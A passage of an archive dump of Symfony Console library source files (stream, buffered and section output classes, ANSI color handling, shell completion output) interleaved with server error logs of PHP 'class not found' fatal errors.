self::VERBOSITY_NORMAL, bool $decorated = null, OutputFormatterInterface $formatter = null) { if (!\is_resource($stream) || 'stream' !== get_resource_type($stream)) { throw new InvalidArgumentException('The StreamOutput class needs a stream as its first argument.'); } $this->stream = $stream; $decorated ??= $this->hasColorSupport(); parent::__construct($verbosity, $decorated, $formatter); } /** * Gets the stream attached to this StreamOutput instance. * * @return resource */ public function getStream() { return $this->stream; } /** * @return void */ protected function doWrite(string $message, bool $newline) { if ($newline) { $message .= \PHP_EOL; } @fwrite($this->stream, $message); fflush($this->stream); } /** * Returns true if the stream supports colorization. * * Colorization is disabled if not supported by the stream: * * This is tricky on Windows, because Cygwin, Msys2 etc emulate pseudo * terminals via named pipes, so we can only check the environment. * * Reference: Composer\XdebugHandler\Process::supportsColor * https://github.com/composer/xdebug-handler * * @return bool true if the stream supports colorization, false otherwise */ protected function hasColorSupport(): bool { // Follow https://no-color.org/ if (isset($_SERVER['NO_COLOR']) || false !== getenv('NO_COLOR')) { return false; } if ('Hyper' === getenv('TERM_PROGRAM')) { return true; } if (\DIRECTORY_SEPARATOR === '\\') { return (\function_exists('sapi_windows_vt100_support') && @sapi_windows_vt100_support($this->stream)) || false !== getenv('ANSICON') || 'ON' === getenv('ConEmuANSI') || 'xterm' === getenv('TERM'); } return stream_isatty($this->stream); } } console/Output/BufferedOutput.php000064400000001506151113511760013165 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Console\Output; /** * @author Jean-François Simon */ class BufferedOutput extends Output { private string $buffer = ''; /** * Empties buffer and returns its content. */ public function fetch(): string { $content = $this->buffer; $this->buffer = ''; return $content; } /** * @return void */ protected function doWrite(string $message, bool $newline) { $this->buffer .= $message; if ($newline) { $this->buffer .= \PHP_EOL; } } } console/Output/ConsoleOutputInterface.php000064400000001457151113511760014673 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Console\Output; /** * ConsoleOutputInterface is the interface implemented by ConsoleOutput class. * This adds information about stderr and section output stream. * * @author Dariusz Górecki */ interface ConsoleOutputInterface extends OutputInterface { /** * Gets the OutputInterface for errors. */ public function getErrorOutput(): OutputInterface; /** * @return void */ public function setErrorOutput(OutputInterface $error); public function section(): ConsoleSectionOutput; } console/Output/TrimmedBufferOutput.php000064400000003060151113511760014173 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Console\Output; use Symfony\Component\Console\Exception\InvalidArgumentException; use Symfony\Component\Console\Formatter\OutputFormatterInterface; /** * A BufferedOutput that keeps only the last N chars. * * @author Jérémy Derussé */ class TrimmedBufferOutput extends Output { private int $maxLength; private string $buffer = ''; public function __construct(int $maxLength, ?int $verbosity = self::VERBOSITY_NORMAL, bool $decorated = false, OutputFormatterInterface $formatter = null) { if ($maxLength <= 0) { throw new InvalidArgumentException(sprintf('"%s()" expects a strictly positive maxLength. Got %d.', __METHOD__, $maxLength)); } parent::__construct($verbosity, $decorated, $formatter); $this->maxLength = $maxLength; } /** * Empties buffer and returns its content. */ public function fetch(): string { $content = $this->buffer; $this->buffer = ''; return $content; } /** * @return void */ protected function doWrite(string $message, bool $newline) { $this->buffer .= $message; if ($newline) { $this->buffer .= \PHP_EOL; } $this->buffer = substr($this->buffer, 0 - $this->maxLength); } } console/Output/OutputInterface.php000064400000005311151113511760013341 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Console\Output; use Symfony\Component\Console\Formatter\OutputFormatterInterface; /** * OutputInterface is the interface implemented by all Output classes. * * @author Fabien Potencier */ interface OutputInterface { public const VERBOSITY_QUIET = 16; public const VERBOSITY_NORMAL = 32; public const VERBOSITY_VERBOSE = 64; public const VERBOSITY_VERY_VERBOSE = 128; public const VERBOSITY_DEBUG = 256; public const OUTPUT_NORMAL = 1; public const OUTPUT_RAW = 2; public const OUTPUT_PLAIN = 4; /** * Writes a message to the output. * * @param bool $newline Whether to add a newline * @param int $options A bitmask of options (one of the OUTPUT or VERBOSITY constants), * 0 is considered the same as self::OUTPUT_NORMAL | self::VERBOSITY_NORMAL * * @return void */ public function write(string|iterable $messages, bool $newline = false, int $options = 0); /** * Writes a message to the output and adds a newline at the end. * * @param int $options A bitmask of options (one of the OUTPUT or VERBOSITY constants), * 0 is considered the same as self::OUTPUT_NORMAL | self::VERBOSITY_NORMAL * * @return void */ public function writeln(string|iterable $messages, int $options = 0); /** * Sets the verbosity of the output. * * @return void */ public function setVerbosity(int $level); /** * Gets the current verbosity of the output. */ public function getVerbosity(): int; /** * Returns whether verbosity is quiet (-q). */ public function isQuiet(): bool; /** * Returns whether verbosity is verbose (-v). */ public function isVerbose(): bool; /** * Returns whether verbosity is very verbose (-vv). */ public function isVeryVerbose(): bool; /** * Returns whether verbosity is debug (-vvv). */ public function isDebug(): bool; /** * Sets the decorated flag. * * @return void */ public function setDecorated(bool $decorated); /** * Gets the decorated flag. */ public function isDecorated(): bool; /** * @return void */ public function setFormatter(OutputFormatterInterface $formatter); /** * Returns current output formatter instance. */ public function getFormatter(): OutputFormatterInterface; } console/Output/ConsoleSectionOutput.php000064400000020435151113511760014374 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Console\Output; use Symfony\Component\Console\Formatter\OutputFormatterInterface; use Symfony\Component\Console\Helper\Helper; use Symfony\Component\Console\Terminal; /** * @author Pierre du Plessis * @author Gabriel Ostrolucký */ class ConsoleSectionOutput extends StreamOutput { private array $content = []; private int $lines = 0; private array $sections; private Terminal $terminal; private int $maxHeight = 0; /** * @param resource $stream * @param ConsoleSectionOutput[] $sections */ public function __construct($stream, array &$sections, int $verbosity, bool $decorated, OutputFormatterInterface $formatter) { parent::__construct($stream, $verbosity, $decorated, $formatter); array_unshift($sections, $this); $this->sections = &$sections; $this->terminal = new Terminal(); } /** * Defines a maximum number of lines for this section. * * When more lines are added, the section will automatically scroll to the * end (i.e. remove the first lines to comply with the max height). */ public function setMaxHeight(int $maxHeight): void { // when changing max height, clear output of current section and redraw again with the new height $previousMaxHeight = $this->maxHeight; $this->maxHeight = $maxHeight; $existingContent = $this->popStreamContentUntilCurrentSection($previousMaxHeight ? min($previousMaxHeight, $this->lines) : $this->lines); parent::doWrite($this->getVisibleContent(), false); parent::doWrite($existingContent, false); } /** * Clears previous output for this section. * * @param int $lines Number of lines to clear. If null, then the entire output of this section is cleared * * @return void */ public function clear(int $lines = null) { if (empty($this->content) || !$this->isDecorated()) { return; } if ($lines) { array_splice($this->content, -$lines); } else { $lines = $this->lines; $this->content = []; } $this->lines -= $lines; parent::doWrite($this->popStreamContentUntilCurrentSection($this->maxHeight ? min($this->maxHeight, $lines) : $lines), false); } /** * Overwrites the previous output with a new message. * * @return void */ public function overwrite(string|iterable $message) { $this->clear(); $this->writeln($message); } public function getContent(): string { return implode('', $this->content); } public function getVisibleContent(): string { if (0 === $this->maxHeight) { return $this->getContent(); } return implode('', \array_slice($this->content, -$this->maxHeight)); } /** * @internal */ public function addContent(string $input, bool $newline = true): int { $width = $this->terminal->getWidth(); $lines = explode(\PHP_EOL, $input); $linesAdded = 0; $count = \count($lines) - 1; foreach ($lines as $i => $lineContent) { // re-add the line break (that has been removed in the above `explode()` for // - every line that is not the last line // - if $newline is required, also add it to the last line if ($i < $count || $newline) { $lineContent .= \PHP_EOL; } // skip line if there is no text (or newline for that matter) if ('' === $lineContent) { continue; } // For the first line, check if the previous line (last entry of `$this->content`) // needs to be continued (i.e. does not end with a line break). if (0 === $i && (false !== $lastLine = end($this->content)) && !str_ends_with($lastLine, \PHP_EOL) ) { // deduct the line count of the previous line $this->lines -= (int) ceil($this->getDisplayLength($lastLine) / $width) ?: 1; // concatenate previous and new line $lineContent = $lastLine.$lineContent; // replace last entry of `$this->content` with the new expanded line array_splice($this->content, -1, 1, $lineContent); } else { // otherwise just add the new content $this->content[] = $lineContent; } $linesAdded += (int) ceil($this->getDisplayLength($lineContent) / $width) ?: 1; } $this->lines += $linesAdded; return $linesAdded; } /** * @internal */ public function addNewLineOfInputSubmit(): void { $this->content[] = \PHP_EOL; ++$this->lines; } /** * @return void */ protected function doWrite(string $message, bool $newline) { // Simulate newline behavior for consistent output formatting, avoiding extra logic if (!$newline && str_ends_with($message, \PHP_EOL)) { $message = substr($message, 0, -\strlen(\PHP_EOL)); $newline = true; } if (!$this->isDecorated()) { parent::doWrite($message, $newline); return; } // Check if the previous line (last entry of `$this->content`) needs to be continued // (i.e. does not end with a line break). In which case, it needs to be erased first. $linesToClear = $deleteLastLine = ($lastLine = end($this->content) ?: '') && !str_ends_with($lastLine, \PHP_EOL) ? 1 : 0; $linesAdded = $this->addContent($message, $newline); if ($lineOverflow = $this->maxHeight > 0 && $this->lines > $this->maxHeight) { // on overflow, clear the whole section and redraw again (to remove the first lines) $linesToClear = $this->maxHeight; } $erasedContent = $this->popStreamContentUntilCurrentSection($linesToClear); if ($lineOverflow) { // redraw existing lines of the section $previousLinesOfSection = \array_slice($this->content, $this->lines - $this->maxHeight, $this->maxHeight - $linesAdded); parent::doWrite(implode('', $previousLinesOfSection), false); } // if the last line was removed, re-print its content together with the new content. // otherwise, just print the new content. parent::doWrite($deleteLastLine ? $lastLine.$message : $message, true); parent::doWrite($erasedContent, false); } /** * At initial stage, cursor is at the end of stream output. This method makes cursor crawl upwards until it hits * current section. Then it erases content it crawled through. Optionally, it erases part of current section too. */ private function popStreamContentUntilCurrentSection(int $numberOfLinesToClearFromCurrentSection = 0): string { $numberOfLinesToClear = $numberOfLinesToClearFromCurrentSection; $erasedContent = []; foreach ($this->sections as $section) { if ($section === $this) { break; } $numberOfLinesToClear += $section->maxHeight ? min($section->lines, $section->maxHeight) : $section->lines; if ('' !== $sectionContent = $section->getVisibleContent()) { if (!str_ends_with($sectionContent, \PHP_EOL)) { $sectionContent .= \PHP_EOL; } $erasedContent[] = $sectionContent; } } if ($numberOfLinesToClear > 0) { // move cursor up n lines parent::doWrite(sprintf("\x1b[%dA", $numberOfLinesToClear), false); // erase to end of screen parent::doWrite("\x1b[0J", false); } return implode('', array_reverse($erasedContent)); } private function getDisplayLength(string $text): int { return Helper::width(Helper::removeDecoration($this->getFormatter(), str_replace("\t", ' ', $text))); } } console/Output/error_log000064400000021543151113511760011431 0ustar00[19-Nov-2025 23:45:21 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Console\Output\StreamOutput" not found in /home/fluxyjvi/public_html/project/vendor/symfony/console/Output/ConsoleSectionOutput.php:22 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/console/Output/ConsoleSectionOutput.php on line 22 [19-Nov-2025 23:52:52 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\Console\Output\OutputInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/console/Output/ConsoleOutputInterface.php:20 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/console/Output/ConsoleOutputInterface.php on line 20 [20-Nov-2025 00:11:00 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Console\Output\StreamOutput" not found in /home/fluxyjvi/public_html/project/vendor/symfony/console/Output/ConsoleOutput.php:30 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/console/Output/ConsoleOutput.php on line 30 [20-Nov-2025 00:14:32 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Console\Output\Output" not found in /home/fluxyjvi/public_html/project/vendor/symfony/console/Output/TrimmedBufferOutput.php:22 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/console/Output/TrimmedBufferOutput.php on line 22 [20-Nov-2025 00:33:16 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Console\Output\StreamOutput" not found in /home/fluxyjvi/public_html/project/vendor/symfony/console/Output/ConsoleSectionOutput.php:22 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/console/Output/ConsoleSectionOutput.php on line 22 [20-Nov-2025 00:34:20 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\Console\Output\OutputInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/console/Output/ConsoleOutputInterface.php:20 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/console/Output/ConsoleOutputInterface.php on line 20 [20-Nov-2025 00:44:37 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Console\Output\Output" not found in /home/fluxyjvi/public_html/project/vendor/symfony/console/Output/TrimmedBufferOutput.php:22 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/console/Output/TrimmedBufferOutput.php on line 22 [20-Nov-2025 00:45:40 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Console\Output\StreamOutput" not found in /home/fluxyjvi/public_html/project/vendor/symfony/console/Output/ConsoleOutput.php:30 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/console/Output/ConsoleOutput.php on line 30 [20-Nov-2025 04:39:20 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Console\Output\Output" not found in /home/fluxyjvi/public_html/project/vendor/symfony/console/Output/BufferedOutput.php:17 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/console/Output/BufferedOutput.php on line 17 [20-Nov-2025 05:41:54 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\Console\Output\OutputInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/console/Output/NullOutput.php:25 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/console/Output/NullOutput.php on line 25 [25-Nov-2025 02:31:56 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\Console\Output\OutputInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/console/Output/ConsoleOutputInterface.php:20 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/console/Output/ConsoleOutputInterface.php on line 20 [25-Nov-2025 02:34:38 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Console\Output\StreamOutput" not found in /home/fluxyjvi/public_html/project/vendor/symfony/console/Output/ConsoleOutput.php:30 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/console/Output/ConsoleOutput.php on line 30 [25-Nov-2025 02:59:56 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Console\Output\Output" not found in /home/fluxyjvi/public_html/project/vendor/symfony/console/Output/BufferedOutput.php:17 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/console/Output/BufferedOutput.php on line 17 [25-Nov-2025 03:01:54 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\Console\Output\OutputInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/console/Output/Output.php:30 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/console/Output/Output.php on line 30 [25-Nov-2025 03:03:54 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Console\Output\Output" not found in /home/fluxyjvi/public_html/project/vendor/symfony/console/Output/TrimmedBufferOutput.php:22 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/console/Output/TrimmedBufferOutput.php on line 22 [25-Nov-2025 03:26:24 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Console\Output\Output" not found in /home/fluxyjvi/public_html/project/vendor/symfony/console/Output/StreamOutput.php:30 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/console/Output/StreamOutput.php on line 30 [25-Nov-2025 05:32:09 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Console\Output\StreamOutput" not found in /home/fluxyjvi/public_html/project/vendor/symfony/console/Output/ConsoleSectionOutput.php:22 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/console/Output/ConsoleSectionOutput.php on line 22 [25-Nov-2025 06:31:28 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\Console\Output\OutputInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/console/Output/NullOutput.php:25 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/console/Output/NullOutput.php on line 25 [25-Nov-2025 23:06:29 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Console\Output\Output" not found in /home/fluxyjvi/public_html/project/vendor/symfony/console/Output/BufferedOutput.php:17 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/console/Output/BufferedOutput.php on line 17 [25-Nov-2025 23:09:07 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\Console\Output\OutputInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/console/Output/ConsoleOutputInterface.php:20 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/console/Output/ConsoleOutputInterface.php on line 20 [25-Nov-2025 23:10:35 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\Console\Output\OutputInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/console/Output/Output.php:30 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/console/Output/Output.php on line 30 [26-Nov-2025 01:22:02 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Console\Output\StreamOutput" not found in /home/fluxyjvi/public_html/project/vendor/symfony/console/Output/ConsoleOutput.php:30 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/console/Output/ConsoleOutput.php on line 30 [26-Nov-2025 01:34:59 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Console\Output\StreamOutput" not found in /home/fluxyjvi/public_html/project/vendor/symfony/console/Output/ConsoleSectionOutput.php:22 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/console/Output/ConsoleSectionOutput.php on line 22 [26-Nov-2025 01:55:55 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Console\Output\Output" not found in /home/fluxyjvi/public_html/project/vendor/symfony/console/Output/TrimmedBufferOutput.php:22 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/console/Output/TrimmedBufferOutput.php on line 22 [26-Nov-2025 02:03:19 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Console\Output\Output" not found in /home/fluxyjvi/public_html/project/vendor/symfony/console/Output/StreamOutput.php:30 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/console/Output/StreamOutput.php on line 30 [26-Nov-2025 03:31:51 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\Console\Output\OutputInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/console/Output/NullOutput.php:25 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/console/Output/NullOutput.php on line 25 console/Output/ConsoleOutput.php000064400000011412151113511770013043 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Console\Output; use Symfony\Component\Console\Formatter\OutputFormatterInterface; /** * ConsoleOutput is the default class for all CLI output. It uses STDOUT and STDERR. * * This class is a convenient wrapper around `StreamOutput` for both STDOUT and STDERR. * * $output = new ConsoleOutput(); * * This is equivalent to: * * $output = new StreamOutput(fopen('php://stdout', 'w')); * $stdErr = new StreamOutput(fopen('php://stderr', 'w')); * * @author Fabien Potencier */ class ConsoleOutput extends StreamOutput implements ConsoleOutputInterface { private OutputInterface $stderr; private array $consoleSectionOutputs = []; /** * @param int $verbosity The verbosity level (one of the VERBOSITY constants in OutputInterface) * @param bool|null $decorated Whether to decorate messages (null for auto-guessing) * @param OutputFormatterInterface|null $formatter Output formatter instance (null to use default OutputFormatter) */ public function __construct(int $verbosity = self::VERBOSITY_NORMAL, bool $decorated = null, OutputFormatterInterface $formatter = null) { parent::__construct($this->openOutputStream(), $verbosity, $decorated, $formatter); if (null === $formatter) { // for BC reasons, stdErr has it own Formatter only when user don't inject a specific formatter. $this->stderr = new StreamOutput($this->openErrorStream(), $verbosity, $decorated); return; } $actualDecorated = $this->isDecorated(); $this->stderr = new StreamOutput($this->openErrorStream(), $verbosity, $decorated, $this->getFormatter()); if (null === $decorated) { $this->setDecorated($actualDecorated && $this->stderr->isDecorated()); } } /** * Creates a new output section. */ public function section(): ConsoleSectionOutput { return new ConsoleSectionOutput($this->getStream(), $this->consoleSectionOutputs, $this->getVerbosity(), $this->isDecorated(), $this->getFormatter()); } /** * @return void */ public function setDecorated(bool $decorated) { parent::setDecorated($decorated); $this->stderr->setDecorated($decorated); } /** * @return void */ public function setFormatter(OutputFormatterInterface $formatter) { parent::setFormatter($formatter); $this->stderr->setFormatter($formatter); } /** * @return void */ public function setVerbosity(int $level) { parent::setVerbosity($level); $this->stderr->setVerbosity($level); } public function getErrorOutput(): OutputInterface { return $this->stderr; } /** * @return void */ public function setErrorOutput(OutputInterface $error) { $this->stderr = $error; } /** * Returns true if current environment supports writing console output to * STDOUT. */ protected function hasStdoutSupport(): bool { return false === $this->isRunningOS400(); } /** * Returns true if current environment supports writing console output to * STDERR. */ protected function hasStderrSupport(): bool { return false === $this->isRunningOS400(); } /** * Checks if current executing environment is IBM iSeries (OS400), which * doesn't properly convert character-encodings between ASCII to EBCDIC. */ private function isRunningOS400(): bool { $checks = [ \function_exists('php_uname') ? php_uname('s') : '', getenv('OSTYPE'), \PHP_OS, ]; return false !== stripos(implode(';', $checks), 'OS400'); } /** * @return resource */ private function openOutputStream() { if (!$this->hasStdoutSupport()) { return fopen('php://output', 'w'); } // Use STDOUT when possible to prevent from opening too many file descriptors return \defined('STDOUT') ? \STDOUT : (@fopen('php://stdout', 'w') ?: fopen('php://output', 'w')); } /** * @return resource */ private function openErrorStream() { if (!$this->hasStderrSupport()) { return fopen('php://output', 'w'); } // Use STDERR when possible to prevent from opening too many file descriptors return \defined('STDERR') ? \STDERR : (@fopen('php://stderr', 'w') ?: fopen('php://output', 'w')); } } console/Output/AnsiColorMode.php000064400000006727151113511770012733 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Console\Output; use Symfony\Component\Console\Exception\InvalidArgumentException; /** * @author Fabien Potencier * @author Julien Boudry */ enum AnsiColorMode { /* * Classical 4-bit Ansi colors, including 8 classical colors and 8 bright color. Output syntax is "ESC[${foreGroundColorcode};${backGroundColorcode}m" * Must be compatible with all terminals and it's the minimal version supported. */ case Ansi4; /* * 8-bit Ansi colors (240 different colors + 16 duplicate color codes, ensuring backward compatibility). * Output syntax is: "ESC[38;5;${foreGroundColorcode};48;5;${backGroundColorcode}m" * Should be compatible with most terminals. */ case Ansi8; /* * 24-bit Ansi colors (RGB). * Output syntax is: "ESC[38;2;${foreGroundColorcodeRed};${foreGroundColorcodeGreen};${foreGroundColorcodeBlue};48;2;${backGroundColorcodeRed};${backGroundColorcodeGreen};${backGroundColorcodeBlue}m" * May be compatible with many modern terminals. */ case Ansi24; /** * Converts an RGB hexadecimal color to the corresponding Ansi code. */ public function convertFromHexToAnsiColorCode(string $hexColor): string { $hexColor = str_replace('#', '', $hexColor); if (3 === \strlen($hexColor)) { $hexColor = $hexColor[0].$hexColor[0].$hexColor[1].$hexColor[1].$hexColor[2].$hexColor[2]; } if (6 !== \strlen($hexColor)) { throw new InvalidArgumentException(sprintf('Invalid "#%s" color.', $hexColor)); } $color = hexdec($hexColor); $r = ($color >> 16) & 255; $g = ($color >> 8) & 255; $b = $color & 255; return match ($this) { self::Ansi4 => (string) $this->convertFromRGB($r, $g, $b), self::Ansi8 => '8;5;'.((string) $this->convertFromRGB($r, $g, $b)), self::Ansi24 => sprintf('8;2;%d;%d;%d', $r, $g, $b) }; } private function convertFromRGB(int $r, int $g, int $b): int { return match ($this) { self::Ansi4 => $this->degradeHexColorToAnsi4($r, $g, $b), self::Ansi8 => $this->degradeHexColorToAnsi8($r, $g, $b), default => throw new InvalidArgumentException("RGB cannot be converted to {$this->name}.") }; } private function degradeHexColorToAnsi4(int $r, int $g, int $b): int { return round($b / 255) << 2 | (round($g / 255) << 1) | round($r / 255); } /** * Inspired from https://github.com/ajalt/colormath/blob/e464e0da1b014976736cf97250063248fc77b8e7/colormath/src/commonMain/kotlin/com/github/ajalt/colormath/model/Ansi256.kt code (MIT license). */ private function degradeHexColorToAnsi8(int $r, int $g, int $b): int { if ($r === $g && $g === $b) { if ($r < 8) { return 16; } if ($r > 248) { return 231; } return (int) round(($r - 8) / 247 * 24) + 232; } else { return 16 + (36 * (int) round($r / 255 * 5)) + (6 * (int) round($g / 255 * 5)) + (int) round($b / 255 * 5); } } } console/Completion/Output/BashCompletionOutput.php000064400000001730151113511770016463 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Console\Completion\Output; use Symfony\Component\Console\Completion\CompletionSuggestions; use Symfony\Component\Console\Output\OutputInterface; /** * @author Wouter de Jong */ class BashCompletionOutput implements CompletionOutputInterface { public function write(CompletionSuggestions $suggestions, OutputInterface $output): void { $values = $suggestions->getValueSuggestions(); foreach ($suggestions->getOptionSuggestions() as $option) { $values[] = '--'.$option->getName(); if ($option->isNegatable()) { $values[] = '--no-'.$option->getName(); } } $output->writeln(implode("\n", $values)); } } console/Completion/Output/FishCompletionOutput.php000064400000001737151113511770016506 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Console\Completion\Output; use Symfony\Component\Console\Completion\CompletionSuggestions; use Symfony\Component\Console\Output\OutputInterface; /** * @author Guillaume Aveline */ class FishCompletionOutput implements CompletionOutputInterface { public function write(CompletionSuggestions $suggestions, OutputInterface $output): void { $values = $suggestions->getValueSuggestions(); foreach ($suggestions->getOptionSuggestions() as $option) { $values[] = '--'.$option->getName(); if ($option->isNegatable()) { $values[] = '--no-'.$option->getName(); } } $output->write(implode("\n", $values)); } } console/Completion/Output/CompletionOutputInterface.php000064400000001300151113511770017477 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Console\Completion\Output; use Symfony\Component\Console\Completion\CompletionSuggestions; use Symfony\Component\Console\Output\OutputInterface; /** * Transforms the {@see CompletionSuggestions} object into output readable by the shell completion. * * @author Wouter de Jong */ interface CompletionOutputInterface { public function write(CompletionSuggestions $suggestions, OutputInterface $output): void; } console/Completion/Output/ZshCompletionOutput.php000064400000002362151113511770016354 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Console\Completion\Output; use Symfony\Component\Console\Completion\CompletionSuggestions; use Symfony\Component\Console\Output\OutputInterface; /** * @author Jitendra A */ class ZshCompletionOutput implements CompletionOutputInterface { public function write(CompletionSuggestions $suggestions, OutputInterface $output): void { $values = []; foreach ($suggestions->getValueSuggestions() as $value) { $values[] = $value->getValue().($value->getDescription() ? "\t".$value->getDescription() : ''); } foreach ($suggestions->getOptionSuggestions() as $option) { $values[] = '--'.$option->getName().($option->getDescription() ? "\t".$option->getDescription() : ''); if ($option->isNegatable()) { $values[] = '--no-'.$option->getName().($option->getDescription() ? "\t".$option->getDescription() : ''); } } $output->write(implode("\n", $values)."\n"); } } console/Completion/Suggestion.php000064400000001473151113511770013166 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Console\Completion; /** * Represents a single suggested value. * * @author Wouter de Jong */ class Suggestion implements \Stringable { public function __construct( private readonly string $value, private readonly string $description = '' ) { } public function getValue(): string { return $this->value; } public function getDescription(): string { return $this->description; } public function __toString(): string { return $this->getValue(); } } console/Completion/error_log000064400000002574151113511770012246 0ustar00[20-Nov-2025 03:59:57 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Console\Input\ArgvInput" not found in /home/fluxyjvi/public_html/project/vendor/symfony/console/Completion/CompletionInput.php:27 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/console/Completion/CompletionInput.php on line 27 [20-Nov-2025 07:59:06 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Console\Input\ArgvInput" not found in /home/fluxyjvi/public_html/project/vendor/symfony/console/Completion/CompletionInput.php:27 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/console/Completion/CompletionInput.php on line 27 [25-Nov-2025 05:25:53 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Console\Input\ArgvInput" not found in /home/fluxyjvi/public_html/project/vendor/symfony/console/Completion/CompletionInput.php:27 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/console/Completion/CompletionInput.php on line 27 [25-Nov-2025 23:10:17 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Console\Input\ArgvInput" not found in /home/fluxyjvi/public_html/project/vendor/symfony/console/Completion/CompletionInput.php:27 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/console/Completion/CompletionInput.php on line 27 console/Completion/CompletionSuggestions.php000064400000004072151113511770015401 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Console\Completion; use Symfony\Component\Console\Input\InputOption; /** * Stores all completion suggestions for the current input. * * @author Wouter de Jong */ final class CompletionSuggestions { private $valueSuggestions = []; private $optionSuggestions = []; /** * Add a suggested value for an input option or argument. * * @return $this */ public function suggestValue(string|Suggestion $value): static { $this->valueSuggestions[] = !$value instanceof Suggestion ? new Suggestion($value) : $value; return $this; } /** * Add multiple suggested values at once for an input option or argument. * * @param list $values * * 